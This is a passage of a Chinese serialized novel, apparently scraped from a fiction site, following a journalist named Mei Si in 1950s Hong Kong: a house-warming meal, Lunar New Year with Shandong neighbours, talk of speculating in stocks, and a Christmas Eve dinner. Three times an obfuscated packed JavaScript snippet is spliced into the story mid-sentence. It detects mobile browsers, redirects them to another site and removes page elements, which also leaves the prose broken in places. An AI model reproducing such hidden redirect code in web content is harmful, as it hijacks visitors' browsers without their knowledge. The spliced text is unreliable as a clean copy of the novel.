约请东妹姐与白明珠一边,是在一月二十五号,当天梅思早早地便去市场,买了菜肉回来,狭窄的厨房里便传出一阵“咚咚咚”的声音,是刀敲击砧板上,到了上午十一点,约好的时间,果然有人敲门,梅思放下菜刀,跑过去开了门,门外站了几个人,白太太与东妹姐都在,自然不意外,她家长女邹程程,也叫作Anne的,已经出嫁,便不凑这个热闹,现在家中的两位小姐少爷,邹茵、邹冉这次居然一齐来了,邹千里也很是客气,亲自到场。 白太太全家人齐来,本是意料之中,然而在她们之外,还有一个人,让梅思很有些惊异,便是常桂廷。 起初没有当即认出,毕竟已经分别多年,不过梅思的视线落在眼前的男子身上几秒钟,脑海中便浮现出他昔日的影像,神情生动起来:“啊,常先生,原来你也在这里。” 常桂廷微微苦笑:“是啊,大家都到香港来了。” 邹千里见这场景有些凄凉,便赶快说道:“梅小姐,不请我们进去坐么?特为你的宅邸而来。” 梅思咯咯地乐:“我这边哪能称得上什么宅邸?几位快请进,房子小,只好挤挤坐了。” 她伸手向里面让,几位客人便排成一列,从一尺多宽的房门鱼贯而入,白明珠进了门,眼睛一扫门边的灶台,登时笑道:“啊哟,梅小姐,这锅碗是刚刚买来的么?” 都闪亮闪亮。 梅思笑着说:“太太真是心明眼亮,一眼就看到,毕竟是自己的屋,便想着要打理一番,况且又是入火,锅碗总该买几只新的。” 白明珠点头:“也真亏了你能耐清苦,上一次我们来,特意到邻居家里借的锅来烧饭,现在你有了家,可该好好布置一番。” 那一回不想在这里吃饭,一个缘故也是没有锅,炭炉边只有一个小煎锅,另外一个小汤盒,够做什么呢?也真亏了梅思心思灵活,忙忙地跑去邻家借锅,邻居之间的情谊还真不错,得说梅思真不愧是去过延安的人,到哪里都能够“团结群众”。 邹茵与弟弟邹冉走进里面的起居室兼卧室,转头望着四面,只看了几眼,邹茵便不住地皱眉,邹冉一脸嫌弃,低低说了一声:“真烂!” 邹茵走到窗边,不顾天气寒冷,开了窗往外看,说道:“看看外边,还能畅快一点。” 邹千里跟在后面,眼望着她们姐弟两个,嘴上虽然没有说话,心中却想,好好看看吧,这就是社会,这就是香港的众生相。 东妹走到房间之中,一双大眼睛眨动着,飞快向两边一望,笑道:“啊哟幺姐,你这墙上贴了画了,啊呀这一盆水仙可真漂亮!” 梅思笑盈盈地说:“快过年了,便买一盆水仙,也喜庆些。” 常桂廷这时也走了进来,向墙上那幅梅花图注视片刻,开口道:“这幅画是梅小姐的手笔吗?” 梅思笑道:“常先生猜得真准,正是我的拙作,好在只是挂在自己的房间,不会给人耻笑。” 常桂廷微微一笑:“我记得你当初曾说过,若说才女,只能算半个,能通书画。” 不懂琴棋。 梅思含笑:“常先生还记得当年的闲谈?那时候我也太骄傲,其实哪能称得上‘通书画’呢?不过能写几个字,画两笔画罢了。” 白明珠笑着插进来:“啊哟,你们都不要太客气,梅小姐当然是才女,常先生也是慧眼,看出这画是梅小姐作的。” 然后又招呼自己的一双儿女:“Julie呀,David呀,快看看梅小姐的房子,多么的闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507794|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适雅致!” 那一对少女少男虽然口中答应着,却是一个暗暗翻个白眼,另一个扭过头去悄悄嗤笑。 梅思拖过椅子,请大家坐,房间实在小,邹茵姐弟便坐在床上,白明珠也同着一起在床板上坐,另外三个人坐在了椅子板凳上,梅思提起开水壶,给客人冲茶,几个人喝着梅花茶,闲谈起来,先是庆贺梅思买下一间屋,夸赞她有本领,然后各人便议论起家计。 梅思问常桂廷:“夫人可好么?” 常桂廷略有些尴尬,不过转瞬间神色便恢复自然,颔首笑道:“谢谢你想着她,她的身体向来是极好的。” 抗战胜利之后,常桂廷便结婚了,对方家世很是不错,石氏家族在桂林小有名气。 常桂廷又说:“拙荆也向你问好。” 这句话就没意思了,石碧月对两个人的过往,并不是很了解,只以为丈夫这一回是寻常交际,与白太太一家人同去,想来没什么。 又说到各人的事业:“梅小姐的名字,在报上愈发见得多了。” 梅思一乐:“我们报馆只这么几个人手,每个人都要多多写稿,报纸才办得下去。” 大家都笑。 说了几句话,梅思便去厨房忙碌,东妹同着她一起,不多时端上饭菜来,大家一边吃饭,一边闲谈。 梅思问:“常先生这一向做些什么事情?” 常桂廷口气淡淡的:“只买一些股票。” 邹千里手里握着筷子,接过话头:“我也曾经买股票,钱放在银行里,利息实在太少,若是拿来投资呢,倒是能多生发一些。只是现在香港的股票,也不如从前了,我听人家说,几年前,就是国共战争还在僵持的时候,股票好赚。” 梅思眉梢一挑:“哦?那是为什么?” 见她感兴趣,邹千里有些得意:“许多富商为了躲避战火,都跑来了香港,各个携带巨款,香港的股票怎么会不好?只是四九年之后,便不行了,国民政府败了,一些人便随着去了台湾,滚滚金元也随着流过去了。唉,那之后,只好出清了,省了一直赔。” 梅思凝神仔细听着。 邹千里的话略有停顿,常桂廷马上便说道:“我是看好香港的股票,如今各处都在建工厂,工商繁荣,股票便会赚钱,所以倘若有闲情,还是买一点的好。” 梅思微微点头,买股票重要的倒不在于闲情,而是在于闲钱,闲钱呢,自己手头虽然不多,倒还有一点。 几个人海阔天空,谈起经济,常桂廷痛心疾首:“做生意要小心,香港人心奸诈,很会骗人!” 他当初来香港,也有心另辟一番天地,拿了钱投资商业,结果给人骗了一大笔钱,元气大伤,这一阵有人游说他拿出钱来,合股办厂,他左思右想,一直没能决定,这便是“一朝被蛇咬,十年怕井绳”。 这边几个大人大谈生计话题,那边邹茵和邹冉百无聊赖,毫无兴趣,邹茵很快地吃过了饭,便下了桌,左右看看,床头摞着几本书,伸手翻了翻,冰心、周作人、沈从文、白薇,都是自己平时看都不会看一眼的,老掉牙的古董,尤其居然还有鲁迅,简直老到要发霉了,有谁会看这种?然而实在无聊,只好抽出一本,看书名似乎比较romantic,《歧路佳人》,便翻看了起来。 见姐姐看起书来,邹冉更加无味,在屋子里走了几圈,给母亲呵斥:“好好坐着,听大人说话。” 邹冉只得坐下来,可是那边的人没完没了,本来看着先后都吃完了,放下筷子,以为就可以走了,哪知却又喝茶,喝了茶之后又吃点心,吃点心之后又喝茶,几双嘴唇不停地说,前后接上,少有中断的,邹冉厌烦得要命,终于再不顾忌,站起来说道:“妈,我出去逛逛。” 白明珠也晓得儿子的秉性,点头随口说道:“辛苦你坐了这么久的禅,去吧,就在附近逛,别走远。” 邹冉答应一声,走了出去。 几个人继续谈,又过了半个多钟头,眼看将近四点钟,梅思站起身留客人们用晚饭,白明珠这边说“不必”,正在推让,忽然间外面有人高呼:“起火了!” 屋子里的人登时都变了脸色,白明珠仓皇左右看,尖叫道:“David,David呢?” 一旁邹茵抬起头来懒懒地说:“妈,你方才答应让他出去了。” 白明珠大惊失色:“怎么会这样?快找他回来!Julie,你也去,看看他在哪里!” 邹茵意兴阑珊:“妈,我这本书还没看完。” 白明珠简直要跳起来:“回来再看!” 梅思忙说:“我出去看看。” 回身便找棉袍。 邹千里恼怒地对白明珠说了一声“都怪你”,披起貂皮大衣,推开门便要出去。 就在这时,门外一个人一头撞进来,正是邹冉。 59.第五十九章 山东大姐酱肉包子 第五十九章 山东大姐酱肉包子 这一天的入火宴,乘兴而来,败兴而散,附近忽然起火,众人都好一番吃惊,唯独梅思倒是颇为镇定,看到邹冉回来,便说道:“好了,没事了,各位不要担忧,这里有时候就会失火,好在不严重,我来这里大半年,已经看到三回起火,很快就扑灭了的,不远就有水龙头,取水灭火很方便的,你们看,已经有人提了桶去救火,很快就会熄灭的了。不过这也没什么可看,天色不早,快快回去吧。” 发生了这种意外,梅思也不便再留客。 白明珠邹千里都是心慌意乱,也无心再作客,于是仓促告辞,说一声“下次再来拜访”,便匆匆离去了,邹茵临去时,那本小说还剩余几十页,没有读完,紧紧抓在手里,犹犹豫豫要放回床头,却又收回手来。 梅思便笑:“你带回家里看吧。” 几个人坐进汽车,一溜烟走了,邹千里开着车,眼睛注视前方,说道:“邹冉,邹茵,你们两个今天看到了吧?那是什么样的地方?假如我们不小心,也会掉到那里去。” 梅思的地方,他是第一次来,自己也觉得很是难得,见识了一番之后,邹千里心头复杂,他知道自从来了香港,自己是落寞了,然而另一方面,即使已经如此沉沦,却依然好过梅思,保持了一定的身份体面,起码自己是住的洋房,只不过位置偏僻些,比起石硖尾的铁皮屋木屋,一个在天,一个在地。 邹茵窝在皮座椅里,两只眼睛依然盯着书,口里“唔唔”地应付着,显然只是敷衍,邹冉也是一脸无聊,随便答应了两句,扭头只顾瞧着窗外,显然都是把父亲的感叹当做耳边风。 邹千里不由得便有些气闷,想了一想又说:“不过她倒是并不沮丧的,一直很是努力,将来迟早会搬离那个地方,人只要有志向,未来总有指望。” 白明珠摸着颈间的白狐皮围领,也表赞同:“是啊,虽然目前是苦了一点,但好在她肯奋发,我看她那精神头,每天都很有劲呢!” 东妹同着小姐少爷坐在后面,此时也“与有荣焉”,眼睛发光,连连点头。 她们的这几句话,邹茵倒是没有当成废话,她眼睛一亮,飞快把书往回翻了几十页,手指尖掠过一句用红色铅笔划线的文字,朗朗地诵读:“一个人必须迎合潮流,天天奋斗求生下去!” 邹千里刹那便是一愣,自家的大小姐,太太口中的Julie,向来热爱浪漫,整天春花秋月,在家里装林黛玉,但凡提到仕途经济,她总是以为庸俗,哪知今天竟然能说出这样奋勉向上的话来,邹千里不由得便“刮目相看”,忍不住问:“那书里说的是什么?” 邹茵见父亲感兴趣,精神便也是一振,侃侃讲述:“说的是一个人,从前顶有钱,后来打仗了,他的钱都没了,唔他本来……” 白明珠转头瞥见丈夫面色越来越白,忙打断她:“Julie不要再说了!” 又过了将近二十天,便是春节,报馆一年忙到尾,至此终于得以休假五天,二月十三日除夕这一天,梅思早上七点钟起了床,本来今日佳节,想要多睡一阵,只是一直都是这样早起,今朝便也躺卧不住,六点二十几分便醒来,强在床上又躺了一阵,到七点,实在不能再睡,便爬了起来,洗脸烧水,准备做饭。 这一整天,梅思都悠闲得很,早饭和中饭都只是简单吃吃,余下的时间就是点着炭炉,围着棉被坐在床上读书。 《江南春梦庵笔记》,在假日前夕,旧书店里面看到的,翻了一翻,是记叙太平天国,虽然当年的激情早已淡去,不过对于太平天国,梅思依然保留了一缕余思,便买了下来,今天过节,终于有闲情看了。 从清早开始,她就一页页翻着这本书,很遥远的往事,从小便听周围的的人说起,津津乐道,此时读着笔记,图影依稀浮现在眼前,慢慢地她便读到了“给配令”,于是视线便凝住不动: “金陵初破时,淫掠之禁甚严。自天逆、东逆、西逆、南逆、北逆、翼逆、赞逆外,不准私藏妇女。立女军五,有女军帅等辖之,旋又别为元女、妖女名目分隶之。乙卯岁给配令下,女馆遂空。” 梅思反反复复将这段不很长的文字读了四五遍,终于放下书,重重地吁了一口气。 啊,竟然是这样的么?写书的人本来是给太平军俘获的儒生,在这一次给配中,却也得到了一个极年轻的女孩子作妻子,那个姓卜的小姑娘是句容人,不过十四岁年纪,这是按中国岁来算,若是西方的计算方式,大约只有十三岁,即使是在那个年代,十三岁便出嫁,也太早了一点,让人不由得便要担忧,面对如此严峻的生活,她要怎样应付呢?她的亲人又去了哪里? 倘若是年少时,自己看到这样一段文字,一定会以为是清王朝对太平天国的污蔑,就好像国民党也中伤共产党,造谣延安,梅思不能够怀疑太平天国,无论是国民政府,还是新成立的人民政府,对太平天国都是褒扬的,自己从小听到的,也是赞颂太平军,天王洪秀全、东王杨秀清,都是英雄人物,因此在梅思的心目中,太平天国便是几十年前的一场大革命,只可惜自己没有生在那个时代,否则一定要拍手高叫:“你们只管猛力的打,猛力的杀,你们的自由和幸福就是在刀枪里面夺取哟!” 然而延安归来之后,一些想法便改变了,如今再看这段记录,虽然是野史,有人以为是荒诞不经,在自己看来,却也未必全无可能。 梅思怔怔地出了一会儿神,念头忽然又转到洪宣娇的身上,当年极其憧憬的人物啊,曾经也想要跃马横刀,当一个小洪宣娇,英勇的女战士,到后来坐在江陵的寄宿舍里则是想到,当天国覆灭的时候,洪宣娇去了哪里? 幼年时自不必说,只顾听闹热故事,洪宣娇大摆猪笼阵,杀得向荣丢盔弃甲,这一位满清有名的提督,差一点丢了性命,到少女时代,更是向往轰轰烈烈的风云激荡,想着洪宣娇在其中,是如何的叱咤纵横,这一个女杰是怎样的给女子争了光,民国北伐有谢冰莹这第一个女兵,而七八十年前,中华大地上就有一个女将军,叫做洪宣娇,开女界之潮流,作女界之楷模。 只是当她脱离了那火热的运动,冷清地凭靠在窗前,无线电里的爵士乐尾声阑珊,望着夜空中闪烁的星子,蓦地一个念头便跃入脑海,当年天国倾覆,天京城破之后,洪宣娇这位天国有名的女英雄怎么样了呢?从前听洪宣娇的故事,热热闹闹,只是满心欢喜,却从未想过这件事,就好像一场宴会正在火热的时候,总顾虑不到曲终人散。 所以后来,自己读报的时候,看到议论太平天国人物的文章,便会留意,曾有一篇专门说洪宣娇,道是很有传奇色彩,结局成迷,有说法是破城的时候改扮成难民逃走了,也有说是给清军抓住了的,此时大年夜,自己守着炭炉,拥被坐在铁皮屋中,外面冷风嗖嗖,忽然间便想到,或许洪宣娇后来竟然来了香港。 梅思捧着这一册书慢慢地读,到了傍晚,终于要烧晚饭,因为只是一个人吃饭,天又冷,便料理得很简单,只预备作一个酸菜虾仁汤,再烙一个蛋饼便完了,就在她正切酸芥菜的时候,外面有人拍门:“梅小姐,梅小姐啊,你在么?” 梅思听了,忙放下刀,快步到门口,房门打开,一个面容仿佛三十几岁的女人站在门前,高大健壮,浓眉大眼,面相很是开阔,手里端着一只大碗,是邻居贺健莲。 贺健莲一见了梅思,她便乐道:“梅小姐,过年了,俺们山东,过年一定要吃酱肉包子的,刚蒸了一笼,给你送几个来,你尝尝俺们山东的酱肉包子,好吃呢!” 往海碗里一看,四只硕大的包子,白白胖胖,热气腾腾。 梅思一只手接过碗,另一只手往门内一抬:“贺嫂快请进来,外面冷。” 贺健莲连连摆手:“我不去了,家里还一屋子事,大的小的都等着我开饭,等忙过了这些,咱们再胡罗罗。” 说完转身便去了。 梅思在后面赶着喊了一声:“明天一早去拜年!” 贺健莲扬声道:“等你哩!快关门,风冷!” 梅思笑一笑,便关了屋门,回到房间里,一看灶台上,好在还没有和面,现在有酱肉包子,烧一个汤便可以吃饭了,因为这样现成的肉包子,很是节省时间,今夜便有更多的空闲,可以静静地读读书。 一夜便这样过去,半夜里一阵鞭炮声响,梅思朦胧着醒来,听了听又朦胧着睡过去,外面天光再亮,便是正月初一,梅思早早起了床,简单吃了早饭,打点了一点东西,便听无线电,坐等到了上午十点,才提了两个纸包,出门拜年。 贺健莲这时也早已起了床,正一家人闲聊,听到有人打门,打发儿子开门,那小小子拉开门扇一看,便向里面嚷道:“娘,梅大姨来了!” 贺健莲一听,连忙跳下床:“梅小姐来了啊,快请快请!” 落到地上,两脚趿拉着棉鞋,几步走到门前,拉着已经买进门槛的梅思,风一般进了卧室,一叠声说着:“快脱鞋上炕,地上冷!大柱二妮,给梅姨拜年!” 梅思进了房,就说“过年好”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梅思一瞬间触动情怀,思忆起了桂林,胸中有些伤感,然而她马上便转换了念头,笑道:“老太太您康康健健,长命百岁,将来总有一日能得回转,可说胶东的包子真好吃,我昨天晚上就吃贺嫂拿过来的包子,一个晚上肚子里都热腾腾。大柱,二妮,来吃糖,还有梅干。” 两个孩子跑过来便打开了纸包,一包是雪白的奶糖,另一包是橘红色去了核的干梅肉,大柱二妮抓起奶糖塞进嘴里,便嚼了起来,二妮一边嚼一边说:“有花生!” 梅思笑,花生牛轧糖,是向白明珠学来,只不过自家是用融化开的羊奶皮做成,为了迎年,自己也忙碌过一番,将待客的糖果预备出来,今天便带了来。 贺健莲哈哈地笑:“你是南边的人,本来还担心吃不惯俺们北方的东西,吃着中就好。” 梅思笑道:“我去过陕西,北方的口味很能适应的,我喜欢羊肉烩面。” 贺健莲拍着大腿:“下次我给你做咱们山东的煎饼,那是真香!” 冯老太:“再卷了大葱蘸酱。” 梅思笑着答应,转头瞥见闷头坐在凳子上抽烟的廖二哥,便招呼道:“二哥,吃糖。” 廖长民点头应了一声:“唔唔。” 梅思又问:“二哥,工厂里这一阵事情忙么?” 廖长民:“嗯嗯。” 贺健莲一摆手:“你甭理他,他是个木哥张,见人不说话的,的亏是找了个厂子里的活儿,他要是在街边摆摊做买卖,一天都卖不出去一件的。” 梅思笑道:“工厂里毕竟安稳些,我听说这一阵,香港工商兴盛,想来今后生计会充裕。” 贺健莲一撇嘴:“这几年我是看明白了,香港再怎么样的工商兴盛,也兴不到我们头上,看他那个木头木脑,见人都不会说一句话的,就说这一回,过年了,别人都拿过节的钱,唯独他没有,工头明晃晃欺负人,还是我过去找,才补上了,说是漏了,我拿到钱,便也不想多理论,什么忘了,明明就是想自己扣下来。” 梅思噗嗤一笑:“二哥是个老实人,难免吃亏些。” 贺健莲叹一口气:“要说老实,那是真老实,我嫁到廖家,倒也省心,只是如今咱们不是在老家了,大妹子,这是在香港啊,以前在老家,守着自家的豆腐坊,还能过得下去,到现在背井离乡,这香港哪是咱们的地方?说话都不通呢,尽受人家的欺负,还不快学机灵一点,可怎么活?” 廖家在本乡,三代开豆腐坊,虽然小本经营,日子却也过得去,如今在香港,拔除了根基,一贫如洗,所以贺健莲才烦恼。 眼见廖长民原本黑黑的脸开始透出红色,梅思笑道:“幸亏了有大姐,家中只要有你,不愁日子过不下去。” 廖家的豆腐坊,自从贺健莲嫁过来,便是她当家管事,廖长民只是出力,生意倒也兴旺,只是来了香港之后,失了资本与乡谊,贺健莲巧妇难为无米之炊,想一想有点好像王熙凤,她纵然有才干,荣国府倒了,却也难得施展。 给梅思这样一说,贺健莲眉头稍稍展开,也高兴起来:“大妹子瞧你把我给捧的,我再厉害,也是个女人,能有多大能耐?只不过你二哥是这个样子,我也少不得多担些辛苦。啊哟梅小姐,你等俺一霎儿,俺上上茅房!” 60.第六十章 人人有个发财梦 第六十章 人人有个发财梦 时间一转眼便是三个月过去,五月里,这一天上午,邹千里在交易厅里刚刚卖出一批股票,转头一看,黑板前的人群中晃动着一个熟悉的人影,他起初以为是自己看错,猛眨眼睛仔细又瞧了瞧,果然是她,于是邹千里挤进人丛,伸长胳膊,隔着两三个人,拍了两下那人的肩膀。 前方那个女子倏忽转头,向后一看:“呀,是邹先生!” 邹千里一看那人的面,确实不错,便笑道:“梅小姐,你先忙,稍后我们再说话。” 梅思一笑:“也没有什么要忙,好久没见到邹先生,我们谈谈天。” 说着便朝外面挤,邹千里也转过身来,在前面开着路,两个人先后挤出人群,刚刚腾出的位置转瞬间便给人占据。 来到人群之外,邹千里站在那里笑道:“梅小姐,你也炒股票?” 梅思笑着说:“不过是看看而已。太太这一阵好吗?” 邹千里点头:“还好,只一心盼着端午,还有一个月呢,便每天屈指计算日子,还有多少天过节。啊,那边有个茶座,梅小姐现在忙吗?倘若不忙,我们过去坐一坐,喝喝茶。” 梅思笑应:“好呀。” 两人走到茶座那里,找了个座位坐下来,梅思点了一杯奶茶,邹千里则是喝红茶,不多时热茶送上,邹千里含笑问:“真没想到梅小姐也会对股票感兴趣。” 从延安出来的呢,哪知居然也会想要炒股票,虽然她说只是来看看,但不必想也知道,自然是有心交易,否则何必过来看呢? 梅思笑着说:“这一阵听大家都在说股票,我便也想要见识一下,今天上午刚好不忙——不怕你笑,有个采访,明明约会了,对方却临时推辞——我一时反正没事,便过来瞧瞧。” 邹千里侧身坐着,一条手臂搭在椅背上,另一只手端着茶杯,仰面哈哈笑了两声:“有谁会笑呢?在外面做事,本来当有的便宜。” 梅思如今很是活络了,工作的时候居然溜掉,去办自己的私事,这在清教徒一般的共产党那里,是不能容许的吧?虽然是如此调侃,不过邹千里并不当一回事,当初在广西的政府机关,自己比梅思闲得多了,每天到那里不过是画个卯,饮茶读报,便是一天上班,这还得是在自己高兴的时候,倘若有事,或者懒得去,办公室里根本便见不到自己的影子,反正也没有什么要紧事。 然后邹千里又问:“你在那里看股价,觉得怎么样?” 梅思道:“许多都在涨,也有跌的,不过不多,看来香港的经济确实蓬勃。” 邹千里呷了一口茶:“那么要入行吗?” 梅思笑道:“我还想再看一看。” 邹千里点点头:“唔,是的,谨慎一点是好的,虽然香港这一向股票市场不错,不过但凡投资,总会有风险,比如美国,二十几年前有过一次大萧条,本来好好的,忽然间便是黑色礼拜四,股市如同雪山一样地崩溃了,国家惨哦,才有了罗斯福成为总统,我当年在美国留学……” 邹千里二十年前去美国留学,正值大萧条时期,印象深刻,况且他又是学经济,因此这时候讲起凯恩斯的经济观点,头头是道,梅思不由得便发生想法:“有一点好像是马克思的理论。” 当年的社会经济学课程啊,一部分仍然记得,资本主义本身固有的缺陷,只有社会主义共产主义用计划的方式,才能够解决。 邹千里笑了一笑:“与马克思不同。” 凯恩斯再怎么计划,仍然是凭借市场,凯恩斯的方法是对自由市场的修正,本质上是为了让市场的功能更完善,而不是为了废除市场,与马克思有本质的不同。 梅思恍然有所领悟:“原来如此。可以推荐给我几本大萧条的书吗?” 邹千里一番侃侃而谈之余,心情也很是畅快,仿佛一时间找回了当年在纽约大学里,又或者是桂林的茶楼中,与同学友人一起议论学问,点评时局的感觉,当真是神思焕发,逸兴遄飞,自从来了香港,已经很久没有这种潇洒从容的气度,挥洒自如的超脱。 此时听到梅思求教,邹千里兴致愈发高昂,笑着便说了几个书名给她,梅思真不愧是作记者,随身携带纸笔,当即便打开皮包,取出铅笔和一个小小的本子,刷刷刷地便画了一串符号,邹千里念完,她也便记完了。 邹千里望了望她那本子上:“你写字倒快。” 梅思抬头微微一笑:“做我们这一行,若是写字不快,怎么记得下新闻?” 明星说的一篇话,总得快一点记下来才行,对方是不会等着自己慢慢写的。 就在这时,交易厅的钟声响了,梅思惊呼一声:“啊哟,已经十二点了,不好意思,耽搁了你这样久。” 邹千里呵呵笑道:“没有什么,与你说话很畅快,只是如今你也该回去报社,晚了只怕不好,我也要回家中去了。” 梅思啊,越来越有香港人的样子,颇为世故圆滑了,明明是自己拉着她谈天,却偏要说是她延误了自己,自己这一句回应却是真心话,难得有人肯这样认真倾听自己说话,如此的虚心尊重,宛如学生面对导师,让人十分满足。 两个人于是站起身便要走出去,临别的时候,邹千里诚恳邀请:“端午请务必光临寒舍,太太很想念你。” 梅思笑道:“一定过去打扰!” 分别后梅思匆匆便去搭车,回去报社的途中还要顺路去一下书店。 这一个夏季,很是炎热,酷暑一直持续到九月下旬,这一天晚间,梅思回到家中,草草吃了饭,便搬了一把椅子坐在外面,天气太热,屋子里坐不得,累了一天,也不想到梅林之中去读书,况且那里面毕竟没有电灯,纵然是煤油灯,看书也有点累眼,虽然在那山间,倒是能够纳凉的,只是梅思在里面已经清凉了几天,觉得仿佛有些寂寞,今晚便把竹椅搬到门口,与同出外乘凉的邻居们谈天。 天气实在太热,蚁窟的居民纷纷到外面来了,男人们聚在一起,南北口音十分严肃地议论着: “……新的工厂……” “……要加工钱……” “……工联会……” “……老板不答应……” 这边的梅思正在与几个熟识的人谈着琐事: “这香港的鬼天气实在折腾人,都已经过了中秋,还是这么热,要是在我们老家,这时候都该穿秋衣了,这边还得穿纱料子,扇扇子都不凉快。” “可说呢,在俺们家乡,这时节纵然是秋老虎,早晚毕竟凉快,哪像香港这鬼地方,清早白天一样热,从早到晚都不让人透口气,热得人要累死了。” 说这些话的,一个河北,一个安徽。 马上便有邻居似嘲人又似自嘲地说:“现在你们嫌热,等到了冬天,便要冷死了,湿冷湿冷,冷气钻到骨头里,真纳闷这里的人,祖祖辈辈怎么受着的?” 梅思便笑:“香港虽然气候不好,不过倒也有些好处,这里的米很好,元朗丝苗,烧饭煮粥都好味道,只是贵些。” 旁边的人立刻接口:“要说香港,米是真不错,不过也真的贵,我们在工厂里辛辛苦苦做一整天,不过三元钱,一斤元朗米就要六元,不是逢年过节,哪舍得吃它?” 贺健莲在一旁微微地笑:“我们说吃不起,可是那米也不是等着我们来吃,俺那一回想买一点给俺婆婆做生日,去得晚了一点,卖光了,总有买得起的人。” 这几句赞叹元朗丝苗的话,惹起了人家的不平:“元朗的米算什么?你们没吃过我们东北的大米,那才真正是好米,我们东北的黑土地啊,是多肥,种出来的大米才叫好,元朗丝苗我虽然没吃过,不过肯定比不上我们东北的米,这边的菜也不如东北,鹤薮的白菜给人夸得上了天,东北随便种出来的白菜都比它要强,大白菜又嫩又甜,开锅就烂。这里的人,吃的菜都古里古怪,吃苦瓜,那么苦的东西,怎么吃呢?还有什么菜心、芥兰、西洋菜,我们东北人,都不稀罕吃它……” 这一位林素琴大姐是来自吉林,她并不是为了国共战争而来香港,是从九一八事变就一路逃亡,先到北平,再到上海,最后来了香港。 梅思咯咯地乐,东三省的同胞来到这里,是很苦闷的了,就比如素琴姐,离乡背井已经二十年,当初离开故乡不过二十几岁,到如今已经将近五十岁的年纪,故土魂牵梦萦,这么多年也没能改了饮食的口味,一说到本地的食材,便要满心鄙弃。 梅思自己对于香港的蔬菜,倒是并不陌生,两广在饮食上的隔阂,比同东三省要少许多,广东香港吃的菜蔬,广西也多有,香港的小白菜,这里叫做“学斗”的,在自己而言很不错,鲜嫩甘甜,鹤薮学斗在香港是顶顶有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅思笑道:“我并没有买,现在只是看看书。” 贺健莲两颊的肉往下一落,登时便有些丧气,不过转瞬想到一件事:“现在是看看书,以后会买么?” 梅思轻轻摇头:“也不一定。” 实在是很有隔膜,感觉很是疏远,而且也不很懂得。 贺健莲叹了一口气:“唉,你怎么就是不买呢?梅小姐我和你说,我是为了不识字,不敢跑那交易厅,我但凡识几个字,认得牌子上的名字,这样的行市,肯定凑几个钱去买了,都说能赚钱呢,更何况你读了这么多的书,不买股票,实在可惜了。” 林素琴也竖起耳朵在听,贺健莲话音一落,她当即接口:“就是说嘛,我们都是没福分识字的,只能够苦熬,梅小姐你这么有学问的一个人,怎么也过这样的日子?你在报馆,倒是比我们做工强些,可是也得住这里,你若是买那个什么股票发了财,肯定搬离了这里,在那旺角街面上买一间房子,清清静静住着,该有多好,哪像这里,东家打个喷嚏,西家都听到。你读的这些书啊……” 可惜都白读了。 石硖尾的邻居之中,梅思是个特别的人,一眼看去就是大家闺秀,人家读的那书也确实多,说起话来斯斯文文,客客气气,言谈举止硬是和这一班卖力气的人不一样,虽然有的时候看着碍眼,好像有点装模作样,可是一想到未来的发达,总觉得这样人的机会更胜一筹。 只是她却不买股票,她不买股票,单靠着在报馆写花边文章,纵然写死了,能赚几个钱?自古“人不得外财不富”,只靠着这一点死薪水哪行?总得琢磨一点别的路子,眼下放着好机会,人家说香港的股票能赚钱,她却不买,真让人替她着急,她的那些个学问,怎么就不长在自己身上?虽然不懂得股票究竟是什么,今天头一次听说这个词儿,然而只要能赚钱,自己就心中发痒,穷苦太久,一线希望也如同救命的稻草。 梅思笑一笑:“‘穷通皆有命’,命中若是有,总归会有。” 林素琴一听,正要说:“你也信命?” 陡然听到不远处一个男人高声叫骂:“狗眼看人低!只为有几个臭钱,就把人不放在眼里,老子当年打日本流过血!出生入死啊!” 林素琴话头倏忽一转:“是老薛,他肯定又喝醉了。” 61.第六十一章 夜火烧天 第六十一章 夜火烧天 十二月二十四日是礼拜四,这一天下班之后,梅思依然伏在桌子上写字,半个小时之后总算做完,她将稿子交过去,匆匆便往外面走,搭车去官塘,之前约好今天要去白太太家中做客。 等她到了那里,已经是将近八点钟,梅思一进门,便连声说“我来迟了”,东妹飞快从里面出来,随后是白明珠的笑声:“不迟不迟,我们从前也都是这个时候吃夜饭。” 当年在桂林,八九点钟宵夜乃是常事,之后还要打小牌,看电影,上舞厅,正式的晚饭之后,很需要这一餐来补充精力,只不过到了香港之后,没有那么多交游,也没有许多事情要做,每晚六点吃过饭,看看报纸,听听无线电,消磨一下时光,便早早上床休息了。 两个人将梅思陪了进去,进了饭厅,便看到餐桌正中一只明晃晃的烤鸡,看那鸡的大小,不是火鸡,仿佛是本地土鸡,在烤鸡旁边,是一盆浇了酱汁的土豆泥,此外一大盘馅饼,四小碗布丁,一盘蔬菜沙拉,这样的餐食风格,让人感到一股西风扑面而来。 沙发上,邹千里正看着报纸,见几个人走进来,他便将报纸放下,站起身来笑道:“梅小姐,你来了,平安夜快乐。” 梅思笑着说:“邹先生,平安夜快乐!” 白明珠便让着赶快坐下,自己转身噔噔噔又跑到卧房门前,两个房门轮流拍着叫:“Julie,David,吃饭了!” 不多时,那两扇门先后打开,邹茵和邹冉从里面慢吞吞走出来。 梅思与她们招呼了,笑着问:“大小姐今天回来么?” 白明珠一阵风旋回来:“今天和她的老公出去浪漫,明天过来看我们。” 梅思道:“真可惜见不着了,太太替我问好吧。” 白明珠笑道:“这个好说。” 